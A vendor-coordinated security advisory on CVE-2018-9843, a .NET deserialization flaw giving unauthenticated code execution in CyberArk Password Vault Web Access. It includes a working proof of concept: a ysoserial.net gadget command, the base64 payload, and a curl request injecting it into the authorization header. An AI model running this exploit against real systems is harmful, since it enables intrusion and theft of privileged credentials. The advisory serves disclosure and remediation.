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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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Advisory: CyberArk Password Vault Web Access Remote Code Execution

The CyberArk Password Vault Web Access application uses authentication
tokens which consist of serialized .NET objects. By crafting manipulated
tokens, attackers are able to gain unauthenticated remote code execution
on the web server.


Details
=======

Product: CyberArk Password Vault Web Access
Affected Versions: < 9.9.5, < 9.10, 10.1
Fixed Versions: 9.9.5, 9.10, 10.2
Vulnerability Type: Remote Code Execution
Security Risk: high
Vendor URL: https://www.cyberark.com/
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-014
Advisory Status: published
CVE: CVE-2018-9843
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9843


Introduction
============

"CyberArk Enterprise Password Vault is designed to secure, rotate and
control access to privileged account credentials based on organizational
policies. A flexible architecture allows organizations to start small
and scale to the largest, most complex IT environments. The solution
protects privileged account credentials used to access the vast majority
of systems."
(from the Enterprise Password Vault Data Sheet [1])


More Details
============

The CyberArk Password Vault provides secure storage for credentials. It
may be accessed through various clients which are also provided by
CyberArk. One such client is the CyberArk Password Vault Web Access, a
.NET web application. After logging into the web application with their
credentials, users may access credentials kept in the vault.
Additionally, CyberArk Password Vault Web Access provides a REST API for
programmatic access to the vault. This API is available at an URL
similar to the following:

https://10.0.0.6/PasswordVault/WebServices/

The API provides multiple endpoints with different methods.
Most methods provided by the API require prior authentication.
Consequently, a user's API call must include an authentication token in
an HTTP authorization header. Tokens may be generated by calling a
dedicated "Logon" API method.

Analysis of this token by RedTeam Pentesting revealed, that it consists
of a base64 encoded, serialized .NET object of the type
"CyberArk.Services.Web.SessionIdentifiers".  This class consists of four
string attributes which hold information about a user's session. The
integrity of the serialized data is not protected. Therefore, attackers
may send arbitrary .NET objects to the API in the authorization header.
By leveraging certain gadgets, such as the ones provided by
ysoserial.net [2], attackers may execute arbitrary code in the context
of the web application.


Proof of Concept
================

First, a malicious serialized .NET object is created. Here the
"TypeConfuseDelegate" gadget of ysoserial.net is used to execute the
"ping" command:

------------------------------------------------------------------------
$ ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 \
  -c "ping 10.0.0.19" > execute-ping.txt

$ cat execute-ping.txt
AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVy
ZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3Rl
bS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2Nv
cmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2Vu
PWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwAD
AAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtb
U3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0
cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIA
AAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29t
cGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3Vs
dHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19j
b21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAA
AAIAAAAGBgAAABEvYyBwaW5nIDEwLjAuMC4xOQYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxl
Z2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMD
AzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lz
dGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJl
ZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAE
CAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkH
AAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBl
TmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl
cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tT
eXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRy
YWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBt
c2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRv
a2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lz
dGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49
Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3Vs
dHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5
c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2Vu
PWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAA
BVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXph
dGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpT
aWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5U
eXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBT
dGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9z
dGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoB
CgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50
MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5J
bnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgA
AAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwg
VmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1
YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL
------------------------------------------------------------------------

Next, an API call is invoked which includes the malicious .NET object in
its authorization header. This is done with cURL [3] as follows:

------------------------------------------------------------------------
$ curl -s -X GET -k \
  --url 'https://10.0.0.6/PasswordVault/WebServices/PIMServices.svc/'\
  'Applications/?Location=\&IncludeSublocations=true' \
  --header "authorization: $(cat execute-ping.txt)" \
  --header 'content-type: application/json'
------------------------------------------------------------------------

Simultaneously, tcpdump [4] is invoked on the host 10.0.0.19 to listen
for ICMP packets originating from the web server:

------------------------------------------------------------------------
$ sudo tcpdump -i enp0s25 icmp
tcpdump: verbose output suppressed[...]
listening on enp0s25[...]

IP 10.0.0.6 > 10.0.0.19: ICMP echo request, id 1, seq 6, length 40
IP 10.0.0.19 > 10.0.0.6: ICMP echo reply, id 1, seq 6, length 40
------------------------------------------------------------------------

The fact that ICMP packets are received from the web server, indicates
that attacker-controlled code was executed.


Workaround
==========

Disable any access to the API at the route /PasswordVault/WebServices.


Fix
===

Upgrade CyberArk Password Vault Web Access to version 9.9.5, 9.10 or
10.2.


Security Risk
=============

The risk of this vulnerability is rated as high. Attackers with access
to the PrivateArk Vault Web Access REST API may execute arbitrary code
on the web server. No credentials are required. Attackers gain access to
the system with the privileges of the web application. Consequently,
such access may be used to backdoor the web application and compromise
further accounts and credentials. Additionally, attackers may pivot from
the web server to attack the vault directly.


Timeline
========

2017-11-24 Vulnerability identified
2018-01-22 Customer approved disclosure to vendor
2018-02-05 Vendor notified
2018-02-28 Vendor released fixed version
2018-04-06 CVE number requested
2018-04-07 CVE number assigned
2018-04-09 Advisory released


References
==========

[1] http://lp.cyberark.com/rs/316-CZP-275/images/ds-enterprise-password-vault-11-15-17.pdf
[2] https://github.com/pwntester/ysoserial.net
[3] https://curl.haxx.se/
[4] https://www.tcpdump.org/


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/


Working at RedTeam Pentesting
=============================

RedTeam Pentesting is looking for penetration testers to join our team
in Aachen, Germany. If you are interested please visit:
https://www.redteam-pentesting.de/jobs/

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